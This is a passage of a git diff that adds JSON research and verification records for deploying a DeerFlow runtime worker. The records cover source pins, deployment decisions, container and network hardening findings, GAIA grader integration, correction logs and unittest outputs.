"https://api.github.com/repos/bytedance/deer-flow/commits/345f08be00c8a9495079b732a39b46aa9af1584e" + ], + "native_tests": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Makefile#L20-L26", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/tests/test_model_factory.py", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/tests/test_mcp_client_config.py", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/tests/test_client.py" + ], + "sqlite": [ + "https://www.sqlite.org/uri.html", + "https://www.sqlite.org/lang_datefunc.html", + "https://docs.python.org/3.12/library/sqlite3.html#sqlite3.Connection.backup", + "https://docs.python.org/3.12/library/sqlite3.html#sqlite3.Connection.set_authorizer" + ], + "headers": "pins.json#/header_reference: langchain-openai 1.2.1 verified sdist, chat_models/base.py:783,1385-1411,1683-1712,3327-3345; gateway-owner measured request contract supplied by the user on 2026-09-27" + }, + "decisions": [ + { + "action": "Install official release images by digest with the production Compose topology.", + "sources": [ + "installation" + ], + "alternatives": "Native make install/make dev and development Compose are upstream-supported. Native installation alters Git hooks and the host dependency environment; development Compose syncs at startup. Those are not selected.", + "evidence_class": "upstream source and registry metadata" + }, + { + "action": "Run LocalSandboxProvider inside the dedicated backend container; mount no Docker socket.", + "sources": [ + "sandbox" + ], + "alternatives": "AIO DooD exposes the rootless daemon to the backend. The reviewed AIO selection chooses a Kubernetes provisioner or local Docker manager; no static base_url connector was found there. Native AIO, Kubernetes, E2B and OpenSandbox require separate host choices.", + "limitation": "Trusted single-user code shares the backend process/container and mounts; thread paths are not process isolation." + }, + { + "action": "Use native summarization, tool-output externalization, token budgets and bounded task delegation.", + "sources": [ + "configuration" + ], + "limitation": "No token or cost savings measured. Headroom is omitted because native offload covers the requested gap." + }, + { + "action": "Wrap only the pinned ChatOpenAI payload hook to supply per-call idempotency and stable conversation affinity headers.", + "sources": [ + "headers", + "configuration" + ], + "limitation": "Private LangChain hook must be requalified on upgrade. Actual Responses/max/cache/header behavior is a host gate." + }, + { + "action": "Implement tool schema/execution restrictions through the supported AuthorizationProvider interface.", + "sources": [ + "mcp_policy", + "local_adoption" + ], + "limitation": "Codex enabled_tools/disabled_tools keys are not implemented by the inspected MCP connection builder. Allowed bash/ctx_execute remains arbitrary code; this is not a process security boundary." + }, + { + "action": "Launch adopted stdio MCP commands inside the backend using narrow read-only host dependency mounts and a cwd wrapper.", + "sources": [ + "mcp_policy", + "local_adoption" + ], + "limitation": "Host registrations alone are insufficient. Binary/interpreter dependencies and ABI compatibility must pass host preflight." + }, + { + "action": "Create an owned writable QMD SQLite backup of exactly four nonempty adopted collections; permit lexical query and collection-qualified reads.", + "sources": [ + "qmd", + "sqlite", + "local_adoption" + ], + "limitation": "No shared index refresh or model download; snapshot freshness and permitted source database must be supplied privately." + }, + { + "action": "Verify adopted SKILL.md hashes and symlink adopted/public skills by reference.", + "sources": [ + "skills", + "local_adoption" + ], + "limitation": "Per-user global custom fallback stops after interactive user custom skills exist; dedicated-user visibility remains a host check." + }, + { + "action": "Drive the unchanged embedded client for a frozen research-plus-code task; separately execute the deterministic verifier and sanitize native/SQL observations.", + "sources": [ + "e2e", + "sqlite", + "native_tests" + ], + "limitation": "Local oracle fixtures do not establish DeerFlow acceptance; gateway rows cover a window and cannot uniquely attribute concurrent traffic." + } + ], + "local_file_reference_map": { + "recipe.py, install.sh, lifecycle.sh, compose.json.template, runtime/*-start.sh": [ + "installation", + "sandbox", + "qmd", + "sqlite", + "local_adoption", + "native_tests" + ], + "config.yaml.template, defaults.json": [ + "configuration", + "headers" + ], + "extensions_config.json.template, host.json.example, runtime/stdio.sh": [ + "mcp_policy", + "local_adoption", + "qmd" + ], + "runtime/worker_policy.py, runtime/tool-policy.json": [ + "mcp_policy", + "local_adoption", + "qmd" + ], + "runtime/gateway_model.py, runtime/gateway_headers.py": [ + "headers", + "configuration" + ], + "runtime/preflight.py": [ + "configuration", + "mcp_policy", + "skills", + "native_tests" + ], + "run-e2e.sh, e2e/drive.py, e2e/run.py, e2e/task.md, e2e/expected.json": [ + "e2e", + "installation", + "skills" + ], + "e2e/check.py, tests/test_runtime_worker_deerflow.py": [ + "e2e", + "local_adoption", + "repository tests/test_install_skills.py subprocess contract pattern; literal synthetic controls from the task contract" + ], + "e2e/receipt.py": [ + "e2e", + "sqlite", + "gateway-owner nine-column allowlist in the user task" + ], + "README.md, pins.json, research.json, evidence/*": [ + "returned source metadata and offline command output; evidence classes kept separate" + ] + }, + "anti_pattern_log": [ + { + "mistake": "Guessed sandbox.bash_timeout rather than the upstream field.", + "proof": "Pinned SandboxConfig and config.example.yaml specify bash_command_timeout.", + "correction": "Use bash_command_timeout and assert absence of the wrong key." + }, + { + "mistake": "Collected artifacts without the effective user scope.", + "proof": "Pinned Paths.sandbox_outputs_dir and runtime user_context require the user-specific path.", + "correction": "Pass get_effective_user_id() when locating outputs." + }, + { + "mistake": "Counted every task tool return as child completion.", + "proof": "Pinned status_contract.py and synthetic native event reproduction distinguish completion, failure and timeout.", + "correction": "Count only subagent_status=completed; keep every native failure status including error-prefixed and empty results." + }, + { + "mistake": "Allowed a later tool tuple event to discard richer values-event status.", + "proof": "client.py serializes additional_kwargs in values events but omits them in tool tuple events.", + "correction": "Merge returned message fields by tool call identity." + }, + { + "mistake": "Redis image entrypoint would chown the owned bind and a loopback probe would miss an interface-only listener.", + "proof": "Upstream Redis image entrypoint and the draft listener/healthcheck disagreed.", + "correction": "Use a bounded entrypoint retaining rootless user ownership and probe the explicit container interface." + }, + { + "mistake": "Mounted the native QMD cache read-only although query startup needs writes.", + "proof": "QMD v2.8.3 store.ts opens/initializes SQLite state.", + "correction": "Read the adopted source with mode=ro, seed with SQLite backup, and query owned writable state; preserve adopted Node PATH for addon ABI." + }, + { + "mistake": "Placed raw trace evidence in a writable worker mount.", + "proof": "Draft container mounts exposed the intended observation path.", + "correction": "Host captures stdout outside worker mounts; oracle also runs separately." + }, + { + "mistake": "Only framework container cleanup was guaranteed after interruption.", + "proof": "Draft checker timeout left its named process outside the cleanup path.", + "correction": "Both exact owned names are cleaned in finally blocks; unknown cleanup fails the gate." + }, + { + "mistake": "Used a SQLite transaction context without closing the connection.", + "proof": "An offline suite returned ResourceWarnings for unclosed connections.", + "correction": "Wrap all scoped SQLite handles in contextlib.closing." + }, + { + "mistake": "Invented tracing.enabled in application YAML.", + "proof": "Source AST reported unknown top-level tracing; tracing_config.py:143-169 reads provider environment flags. Contract test failed before correction.", + "correction": "Remove the unsupported section and set the three native tracing flags to false." + }, + { + "mistake": "Assumed DEER_FLOW_HOME also controls the SQLite database directory.", + "proof": "database_config.py:259-268 resolves sqlite_dir from cwd; AppConfig defaults to .deer-flow/data.", + "correction": "Explicit database.sqlite_dir environment reference uses owned application state and fresh per-attempt E2E state." + }, + { + "mistake": "The receipt reader normalized numeric text timestamps only after an SQL predicate that excluded them.", + "proof": "Synthetic gateway-reader test returned two rows instead of the four in-window representations.", + "correction": "Normalize nonnegative epoch text in the SQL window predicate before filtering; ISO and numeric formats remain supported." + }, + { + "mistake": "Carried an unused BETTER_AUTH_SECRET key and default frontend origins into the draft.", + "proof": "At this pin gateway auth/config.py persists a JWT secret under DEER_FLOW_HOME, while frontend gateway-config.ts defaults its proxy origin list to localhost:3000.", + "correction": "Remove the unused secret, retain native JWT persistence, and configure DEER_FLOW_TRUSTED_ORIGINS for the actual loopback nginx URL." + } + ], + "anti_pattern_log_scope": "Corrections retained here because the shared docs/harness-defaults.md log is outside this builder file ownership. Coordinator may link or integrate this record.", + "evidence_classes": { + "upstream_source_read": "Tag/commit, verified archive and lockfile bytes, image manifest/config metadata, native commands/config/extensions reviewed.", + "offline_local_integration": "Recipe contract tests, synthetic verifier/trace/SQL controls, source-key audit, syntax/structure and repository validator; see evidence/verification.json.", + "unchanged_upstream_tests": "Selected native command provided; not run in this workspace.", + "host_provider_acceptance": "Not run: installation/pull, startup, MCP execution, skills, model payloads, frozen task, cleanup, restart and exclusive gateway attribution remain pending." + } +} diff --git a/blueprints/runtime-workers/deerflow/round2-research.json b/blueprints/runtime-workers/deerflow/round2-research.json new file mode 100644 index 000000000..5423d37ef --- /dev/null +++ b/blueprints/runtime-workers/deerflow/round2-research.json @@ -0,0 +1,124 @@ +{ + "date": "2026-09-27", + "scope": "Source review and offline recipe integration; no installation, service or model run.", + "mapping": "User-supplied eval-frameworks/report.md and report2.md, W8c", + "grader": { + "repository": "https://github.com/UKGovernmentBEIS/inspect_evals", + "tag": "v0.22.0", + "commit": "41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "runtime": "inspect-ai==0.3.271", + "runtime_commit": "c2b63a0b0560f9c3b5b5230365e0a8fe08cd3df0", + "install": "python -m pip install 'inspect-evals[gaia]==0.22.0' 'inspect-ai==0.3.271'", + "dataset_revision": "682dd723ee1e1697e00360edccf2366dc8418dd9", + "sources": [ + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/README.md", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/gaia.py", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/dataset.py", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/scorer.py", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/tests/gaia/test_scorer.py", + "https://github.com/UKGovernmentBEIS/inspect_ai/blob/0.3.271/docs/solvers.qmd", + "https://github.com/UKGovernmentBEIS/inspect_ai/blob/0.3.271/src/inspect_ai/_eval/task/task.py" + ], + "decision": "Use unchanged GAIA validation scorer and frozen IDs with a DeerFlow transport solver. Native DeerFlow smoke/tests remain regression evidence, not task-quality scoring. Reject attachment samples until asset transport is qualified. Disable Inspect's default Docker sandbox to avoid unowned containers.", + "local_gap": "No direct DeerFlow solver in the inspected primary. Transport only; never read targets or implement answer normalization." + }, + "other_sources": { + "native_client_and_skill_list": "https://github.com/bytedance/deer-flow/blob/v2.1.0/backend/packages/harness/deerflow/client.py", + "skills_layout": "https://github.com/bytedance/deer-flow/blob/v2.1.0/backend/packages/harness/deerflow/skills/storage/user_scoped_skill_storage.py", + "skill_load": "https://github.com/bytedance/deer-flow/blob/v2.1.0/backend/packages/harness/deerflow/skills/describe.py", + "model_extension": "pins.json#/header_reference (SHA256-verified langchain-openai 1.2.1, chat_models/base.py with_structured_output and _get_request_payload)", + "ownership": "https://github.com/compose-spec/compose-spec/blob/main/05-services.md#labels; user-mandated owner label and rw-deerflow- prefix", + "skills_install": "tools/adoption/install_skills.py; user-mandated project-dir/universal extension and blueprints/runtime-workers/skills/manifest.json pending coordinator PR", + "gateway_contract": "User-provided OmniRoute cognee 1.6.1 measurement: tool calling at max; json_object input requirement; strict nested objects; stable session/fresh logical-call key; GPT-6 only" + }, + "discovery": { + "skills_used": [ + "search-first", + "find-skills", + "tdd", + "verification-before-completion" + ], + "channels": "Read both supplied reports, installed skill instructions, upstream release/source and skills.sh leaderboard/search API. Registry inspect search gave unrelated fuzzy matches; no installation selected from popularity.", + "limitations": "Inspect/DeerFlow/LangChain packages absent from local Python. web.open unsupported; public source fetch succeeded via Context Mode. Installed skills CLI unavailable in remote research tool; registry API fallback used. Host installation prohibited.", + "native_evidence": "Actual upstream scorer controls and native DeerFlow tests remain host checks; offline adapter controls do not establish benchmark acceptance." + }, + "anti_pattern_log": [ + { + "mistake": "Round-1 check.py implemented task correctness itself.", + "proof": "report2 W8c assigns GAIA; adapter pass/fail controls initially errored because no transport API existed.", + "correction": "Retain check.py solely as completion transport; only unchanged gaia_scorer supplies correctness.", + "enforced_by": "test_adapter_preserves_known_pass_and_fail_without_a_local_verdict; test_inspect_solver_transports_only_input_and_preserves_upstream_task" + }, + { + "mistake": "Round-1 Compose resources lacked the required owner label and rw-deerflow prefix.", + "proof": "Fail-first ownership test returned runtime-worker-deerflow != rw-deerflow.", + "correction": "Label/name every declared container and network, including temporary worker launches; bind mounts only.", + "enforced_by": "test_owned_compose_resources_and_loopback_ports; test_transport_runs_owned_container_and_retains_failed_attempts" + }, + { + "mistake": "Structured-output policy and GPT-6 route restriction were absent from the model/config adapter.", + "proof": "Fail-first test lacked method=function_calling and worker_model route validation.", + "correction": "Use native function calling; reject raw JSON formats and non-GPT-6-max gateway routes.", + "enforced_by": "test_gateway_structured_output_uses_upstream_tool_calling; test_gateway_rejects_non_gpt6_model_routes" + }, + { + "mistake": "Round-1 skills bypassed the coordinator lifecycle using direct symlinks/global skills.", + "proof": "New installer seam was absent; native loader source confirms /skills/custom accepts the project mount.", + "correction": "Invoke only the coordinator project/universal installer; mark missing extension/manifest pending.", + "enforced_by": "test_skills_use_coordinator_project_installer" + }, + { + "mistake": "Child thread scope could change affinity within a single embedded conversation.", + "proof": "Fail-first test produced unequal session hashes for lead and child scope.", + "correction": "Set an explicit per-process conversation ID for embedded GAIA runs.", + "enforced_by": "test_gateway_headers_preserve_affinity_and_new_call_identity" + }, + { + "mistake": "A newly written shell inline Python expression had an extra closing parenthesis.", + "proof": "ast.parse returned SyntaxError: unmatched closing parenthesis.", + "correction": "Fix expression and include inline Python in syntax verification.", + "enforced_by": "Round-2 syntax artifact" + }, + { + "mistake": "Initial transport test import lacked its module directory on sys.path.", + "proof": "ModuleNotFoundError: receipt, before reaching the behavior seam.", + "correction": "Test loader mirrors CLI module search path; rerun failed at the intended absent run_worker API before implementation.", + "enforced_by": "test_transport_runs_owned_container_and_retains_failed_attempts" + }, + { + "mistake": "Sandbox asyncio executor shutdown did not finish a trivial to_thread control.", + "proof": "Bounded faulthandler reproduction stopped in asyncio runner close; the initial solver test was interrupted with exit 130.", + "correction": "The offline solver-boundary test uses an inline async executor with the external transport double; actual host executor remains unverified.", + "enforced_by": "test_inspect_solver_transports_only_input_and_preserves_upstream_task" + }, + { + "mistake": "Guessed three upstream skill source paths that did not exist.", + "proof": "HTTP 404 for skills/storage.py, skills/loader.py and tools/builtins/skill_tool.py.", + "correction": "Resolve exact paths through the pinned Git tree; use storage/local_skill_storage.py, storage/user_scoped_skill_storage.py and skills/describe.py.", + "enforced_by": "this source-review log" + }, + { + "mistake": "Literal cleanup initially stopped when the first container was already absent.", + "proof": "Fail-first cleanup test raised CalledProcessError before later owned resources were addressed.", + "correction": "Continue only for native absence errors, retaining failures for all other Docker errors.", + "enforced_by": "test_literal_cleanup_continues_after_already_absent_resource" + }, + { + "mistake": "Malformed worker-version metadata could crash receipt writing after the transport parser rejected the attempt.", + "proof": "Fail-first malformed-attempt test raised AttributeError on data=null while handling the transport ValueError.", + "correction": "Validate the native version event data shape before reading its version; retain the failed-attempt receipt.", + "enforced_by": "test_transport_runs_owned_container_and_retains_failed_attempts" + } + ], + "anti_pattern_log_scope": "Builder-owned correction log; shared docs/harness-defaults.md is outside assigned file ownership.", + "remaining_gaps": [ + "Coordinator skills manifest/project-universal CLI extension pending separate PR.", + "Actual pinned grader installation and real gaia_scorer controls not run; test is explicitly skipped.", + "No native dataset access/frozen host-selected ID, asset transport, benchmark or A/B run.", + "Container image volume metadata, native tool calls, skill activation and model/gateway behavior await host acceptance.", + "Interactive background session attribution and prompt-cache behavior not established.", + "Inspect cancellation while a blocking worker is in asyncio.to_thread needs host acceptance; subprocess timeout has a literal-name cleanup path.", + "Transitive grader dependency lock not frozen.", + "Shared manifests/evidence.json still hashes Round-1 bytes; coordinator must refresh its owned manifest after integration." + ] +} diff --git a/blueprints/runtime-workers/deerflow/round3-verification.json b/blueprints/runtime-workers/deerflow/round3-verification.json new file mode 100644 index 000000000..2d8e186c2 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/round3-verification.json @@ -0,0 +1,700 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "recipe": "deerflow", + "pull_request": 427, + "base": "b98a1cd5", + "branch": "claude/runtime-worker-deerflow-20260927", + "scope": "Offline single repair round. Synthetic integration tests and source/lock artifact checks only; no installation, containers, model calls or gateway requests.", + "sources": [ + { + "key": "DF", + "repository": "bytedance/deer-flow", + "pin": "345f08be00c8a9495079b732a39b46aa9af1584e", + "files": [ + "skills/public/claude-to-deerflow/scripts/chat.sh:24-90,140-164", + "skills/public/claude-to-deerflow/SKILL.md:104-108", + "backend/app/gateway/routers/thread_runs.py:223-242,923-939,1143-1168,1528-1560", + "backend/app/gateway/pagination.py:6-15", + "backend/app/gateway/run_models.py:29-58", + "backend/app/gateway/auth/pat.py:28-40,53-116", + "backend/app/gateway/routers/auth.py:651-704", + "backend/app/gateway/csrf_middleware.py:230-234", + "backend/packages/harness/deerflow/runtime/journal.py:327-344,512-522", + "backend/packages/harness/deerflow/runtime/events/store/base.py:32-43,54-55", + "backend/packages/harness/deerflow/client.py:527-564", + "backend/packages/harness/deerflow/sandbox/local/local_sandbox.py:813-842", + "backend/packages/harness/deerflow/config/app_config.py:432,565", + "backend/packages/harness/deerflow/config/extensions_config.py:209-215,384-387,559-565", + "backend/packages/harness/deerflow/models/factory.py:248-285", + "backend/Dockerfile:94-127", + "docker/nginx/nginx.conf:79-82" + ] + }, + { + "key": "IA", + "repository": "UKGovernmentBEIS/inspect_ai", + "pin": "c2b63a0b0560f9c3b5b5230365e0a8fe08cd3df0 (0.3.271)", + "files": [ + "src/inspect_ai/model/_providers/providers.py:361-365,379-391", + "src/inspect_ai/_cli/eval.py:1681-1682", + "src/inspect_ai/log/_log.py:798-820,848-895" + ] + }, + { + "key": "IE", + "repository": "UKGovernmentBEIS/inspect_evals", + "pin": "41c72eaa2b807ce43f35fac6f3f399318adc7e9d (v0.22.0)", + "files": [ + "src/inspect_evals/gaia/dataset.py:14-23,78-104", + "src/inspect_evals/gaia/scorer.py:24", + "src/inspect_evals/gaia/README.md", + "tests/gaia/test_scorer.py" + ] + }, + { + "key": "LC", + "repository": "langchain-ai/langchain (published langchain-openai sdist)", + "pin": "langchain-openai==1.2.1; SHA256 ee4480b787706361b7125fad46930589a624df87aa158c6986ef1fad10d10675", + "files": [ + "langchain_openai/chat_models/base.py:668-670,934-935,1220-1242,1404-1411,1462-1469,1683-1712,3327-3345" + ] + }, + { + "key": "OR", + "repository": "diegosouzapw/OmniRoute", + "pin": "a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3", + "files": [ + "src/lib/usage/callLogs.ts:628-653,779-800", + "src/app/api/analytics/compression/route.ts:13-24", + "src/lib/db/compressionAnalytics.ts:52-82" + ], + "qualification": "Source base inspected; installed patched gateway parity and store ownership require coordinator verification. Header contract comes from the user-supplied common requirements." + }, + { + "key": "CS", + "repository": "compose-spec/compose-spec", + "pin": "914ec15d1fa498969c0df5c1d672306db3256089", + "files": [ + "06-networks.md:215-218", + "05-services.md:171-175,1839-1841,1955-1963,2029-2046,2080-2082" + ] + }, + { + "key": "NG", + "repository": "nginx/nginx", + "pin": "release-1.28.0", + "files": [ + "src/http/modules/ngx_http_proxy_module.c:305-358,417-457" + ], + "qualification": "Supported directive reference; existing nginx image digest reused. No binary/config execution this round." + }, + { + "key": "RD", + "repository": "redis/redis", + "pin": "7.4.2", + "files": [ + "redis.conf:1041-1050" + ] + }, + { + "key": "SR", + "repository": "oraios/serena", + "pin": "c6fbd1c5932df2494ffa0020af5a9fbe80b82143", + "files": [ + "src/serena/cli.py:291-305,398-400" + ] + }, + { + "key": "UV", + "repository": "astral-sh/uv", + "pin": "0.12.17", + "files": [ + "docs/pip/compile.md:24-28", + "installed uv pip compile --help: --generate-hashes, --no-build, --only-binary, --python-version, --python-platform" + ], + "qualification": "Resolved metadata/lock only, no installation. Wheel-only constrained re-resolution reproduced the exact hash." + } + ], + "findings": [ + { + "id": "D1", + "severity": "blocker", + "disposition": "fixed", + "finding": "Engines-on model rejected", + "evidence": "recipe.arm_settings; arm regression red exit 1 -> green 0; one-slash common requirement overrides review's two-slash proposal.", + "sources": [ + "user common requirements §1", + "DF config/app_config.py:432,565" + ] + }, + { + "id": "D2", + "severity": "blocker", + "disposition": "fixed", + "finding": "Base URL fixed to control", + "evidence": "$DEERFLOW_BASE_URL; derived per-arm environment; attempt window and receipts identify arm/model/base_url/header names.", + "sources": [ + "DF config/app_config.py:432,565", + "LC base.py:668-670,1220-1242" + ] + }, + { + "id": "D3", + "severity": "blocker", + "disposition": "fixed", + "finding": "Inspect OpenAI provider unnecessarily required", + "evidence": "e2e/evaluate.py uses --model none; removes key/base URL; supplies --metadata. Grader optional OpenAI import probe no longer gates this provider path.", + "sources": [ + "IA providers.py:361-365,379-391" + ] + }, + { + "id": "D4", + "severity": "major", + "disposition": "fixed", + "finding": "Unconditional no-cache disables engines-on cache", + "evidence": "No no-cache header. Compression header only engines-on; max effort and temperature omission tested.", + "sources": [ + "LC base.py:1683-1712,3327-3345", + "user common requirements §1" + ] + }, + { + "id": "D5", + "severity": "major", + "disposition": "fixed", + "finding": "No stable machine-readable result", + "evidence": "Stable caller run ID; start status/result paths; official Inspect JSON path; native HTTP start/wait/result/cancel; four exit classes.", + "sources": [ + "DF thread_runs.py:923-939,1143-1168,1528-1560", + "IA _cli/eval.py:1681-1682; log/_log.py:798-820,848-895" + ] + }, + { + "id": "D6", + "severity": "minor", + "disposition": "fixed", + "finding": "Skill activation trusts omitted tool status", + "evidence": "Corrected serialization comment; bounded frontmatter name required; errors without failure prefix including a stray name line fail activation.", + "sources": [ + "DF client.py:527-564; sandbox/local/local_sandbox.py:813-842" + ] + }, + { + "id": "S2", + "severity": "major", + "disposition": "fixed", + "finding": "Model shell reaches other host loopback services", + "evidence": "Internal network plus separate fixed per-port nginx forwarder; no raw ai-memory/Qdrant endpoints enabled. Native network enforcement and host bridge paths unmeasured.", + "sources": [ + "CS 06-networks.md:215-218", + "NG proxy module:305-358,417-457" + ] + }, + { + "id": "S3", + "severity": "major", + "disposition": "fixed", + "finding": "E2E inherits persistent tokens/state/network", + "evidence": "Fresh two-service Compose graph/project/networks; isolated writable state/work; host-retained QMD seed; no env_file/internal token/Redis connection. Persistent Redis requirepass added.", + "sources": [ + "CS 06-networks.md:215-218", + "RD redis.conf:1041-1050" + ] + }, + { + "id": "S4", + "severity": "major", + "disposition": "fixed", + "finding": "Grader transitive installation unlocked", + "evidence": "96-package hash lock, hash in pins.json, CPython 3.13 Linux x86_64; --require-hashes --only-binary=:all: --no-deps; pip check/version validation. Resolution is not installation acceptance.", + "sources": [ + "UV docs/pip/compile.md:24-28 and installed CLI help", + "IE GAIA README" + ] + }, + { + "id": "S6", + "severity": "minor", + "disposition": "fixed", + "finding": "Credential/ancestor/symlink mounts accepted", + "evidence": "Resolved dependency-root allowlist and protected-store ancestor/descendant denial; regression covers .config/native-agent-stack, home ancestor and symlink escape.", + "sources": [ + "CS 05-services.md volume bind contract", + "repository docs/secret-storage.md" + ] + }, + { + "id": "S9a", + "severity": "minor", + "disposition": "fixed", + "finding": "Container capability/privilege/root-filesystem hardening missing", + "evidence": "All services cap_drop ALL, no-new-privileges, read-only roots/tmpfs. nginx and egress run UID 101.", + "sources": [ + "CS 05-services.md:171-175,1839-1841,1955-1963,2029-2046,2080-2082" + ] + }, + { + "id": "S9b", + "severity": "common baseline", + "disposition": "declined", + "finding": "Blanket non-root UID for Gateway/frontend/Redis", + "evidence": "Current rootless binds and generated private configuration use host-owned 0700/0600 permissions; an arbitrary container UID would break access. Published backend source defaults to root. Keep rootless default UID with all caps dropped until coordinator qualifies mapped-UID/owned-bind lifecycle. Residual is documented, not an upstream non-root absence claim.", + "sources": [ + "DF backend/Dockerfile:94-127", + "CS 05-services.md:2080-2082", + "recipe.py owned file permissions" + ] + }, + { + "id": "S11", + "severity": "minor", + "disposition": "fixed", + "finding": "Serena dashboard enabled", + "evidence": "--enable-web-dashboard false; GUI/off and native command otherwise retained.", + "sources": [ + "SR src/serena/cli.py:291-305,398-400" + ] + }, + { + "id": "C2-C3", + "severity": "common requirements", + "disposition": "fixed", + "finding": "Per-arm usage, correlation and effort evidence", + "evidence": "Entry store only; private IDs joined/omitted; exact model/path/window fallback without attributed total; positive-reasoning max/nonmax/unknown categories; zero-reasoning count; separate compression delta.", + "sources": [ + "OR callLogs.ts:628-653; compression route:13-24; compressionAnalytics.ts:52-82", + "LC base.py:934-935,1404-1411,1462-1469" + ] + }, + { + "id": "C4-C5", + "severity": "common requirements", + "disposition": "fixed", + "finding": "Native dispatch, invocation accounting and receipt boundary", + "evidence": "PAT native background run API; stable artifacts/private ledger; native RunEvent envelopes and lead-agent result; independent SQL checks, host-captured forwarder log, all receipt paths outside model mounts. Actual OTel/native run reconciliation remains a host gate.", + "sources": [ + "DF chat.sh:24-90,140-164; thread_runs.py:223-242,923-939,1143-1168,1528-1560; runtime/journal.py:512-522" + ] + } + ], + "path_sanitization": "Only path substrings are replaced in commands/output: the absolute worktree becomes , the private home becomes , and ephemeral /tmp/tmp* directories become . Relative paths, failures, exits, skipped tests and timings are retained.", + "verification": [ + { + "phase": "arms-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract -v", + "chunk_id": "d73758", + "wall_time_seconds": 0.171232108, + "exit_code": 1, + "original_token_count": 782, + "output": "test_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ERROR\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... FAIL\ntest_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... FAIL\n\n======================================================================\nERROR: test_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 438, in test_round3_arms_render_endpoint_model_and_only_selected_header\n selection = renderer.arm_settings({})\n ^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'deerflow_arms' has no attribute 'arm_settings'. Did you mean: 'host_settings'?\n\n======================================================================\nFAIL: test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 91, in test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped\n self.assertEqual(config[\"models\"][0][\"base_url\"], \"$DEERFLOW_BASE_URL\")\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 'http://10.0.2.2:20128/v1' != '$DEERFLOW_BASE_URL'\n- http://10.0.2.2:20128/v1\n+ $DEERFLOW_BASE_URL\n\n\n======================================================================\nFAIL: test_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 333, in test_model_context_and_container_contract\n self.assertEqual(model[\"base_url\"], \"$DEERFLOW_BASE_URL\")\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 'http://127.0.0.1:20128/v1' != '$DEERFLOW_BASE_URL'\n- http://127.0.0.1:20128/v1\n+ $DEERFLOW_BASE_URL\n\n\n----------------------------------------------------------------------\nRan 3 tests in 0.106s\n\nFAILED (failures=2, errors=1)\n" + }, + { + "phase": "effort-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling -v", + "chunk_id": "0a0947", + "wall_time_seconds": 0.033914534, + "exit_code": 1, + "original_token_count": 251, + "output": "test_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ERROR\n\n======================================================================\nERROR: test_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 416, in test_gateway_structured_output_uses_upstream_tool_calling\n self.assertEqual(one[\"reasoning\"][\"effort\"], \"max\")\n ~~~^^^^^^^^^^^^^\nKeyError: 'reasoning'\n\n----------------------------------------------------------------------\nRan 1 test in 0.003s\n\nFAILED (errors=1)\n" + }, + { + "phase": "arms-effort-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract 